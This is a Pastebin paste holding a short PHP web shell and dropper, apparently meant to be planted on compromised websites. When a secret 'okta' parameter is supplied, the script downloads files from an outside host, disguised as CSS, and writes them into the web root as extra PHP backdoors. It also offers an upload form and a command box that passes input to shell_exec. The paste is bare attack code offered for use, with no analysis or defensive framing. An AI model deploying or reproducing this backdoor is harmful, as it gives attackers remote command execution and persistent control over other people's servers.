Advertisement
Panther_INDO

COLD

Jun 30th, 2019
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.41 KB | None | 0 0
  1. <?php
  2. if(isset($_GET['okta']))
  3. {
  4. function http_get($url){
  5. $im = curl_init($url);
  6. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  7. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  8. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  9. curl_setopt($im, CURLOPT_HEADER, 0);
  10. return curl_exec($im);
  11. curl_close($im);
  12. }
  13.  
  14. $check2=$_SERVER['DOCUMENT_ROOT'] . "/cold.php" ;
  15. $text2 = http_get('http://idbteamroot.wap.sh/css/idb1.css');
  16. $op2=fopen($check2, 'w');
  17. fwrite($op2,$text2);
  18. fclose($op2);
  19. if(file_exists($check2)){
  20. echo "<br><br>".$check2."</br>";
  21. }else
  22. echo "";
  23. echo "" ;
  24.  
  25. $check3=$_SERVER['DOCUMENT_ROOT'] . "/colt.php" ;
  26. $text3 = http_get('http://idbteamroot.wap.sh/css/user.css');
  27. $op3=fopen($check3, 'w');
  28. fwrite($op3,$text3);
  29. fclose($op3);
  30. if(file_exists($check3)){
  31. echo $check3."</br>";
  32. }else
  33. echo "";
  34. echo "" ;
  35.  
  36. $filename = $_FILES['file']['name'];
  37. $filetmp = $_FILES['file']['tmp_name'];
  38. echo "<br><form method='POST' enctype='multipart/form-data'>
  39. <input type='file' name='file' />
  40. <input type='submit' value='>>>' />
  41. </form>";
  42. echo '<form method="post">
  43. <input type="text" name="cmd" size="30">
  44. <input type="submit" value=">>>">
  45. </form>';
  46. if(move_uploaded_file($filetmp,$filename)=='1'){
  47. echo '[OK] ===> '.$filename;
  48. }
  49. if(isset($_POST['cmd'])){
  50. if(function_exists('shell_exec')){
  51. $cmd=$_POST['cmd'];
  52. $oke = shell_exec("$cmd");
  53. echo "<textarea cols=30 rows=15;>$oke</textarea>";
  54. }
  55. }
  56. }
  57. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement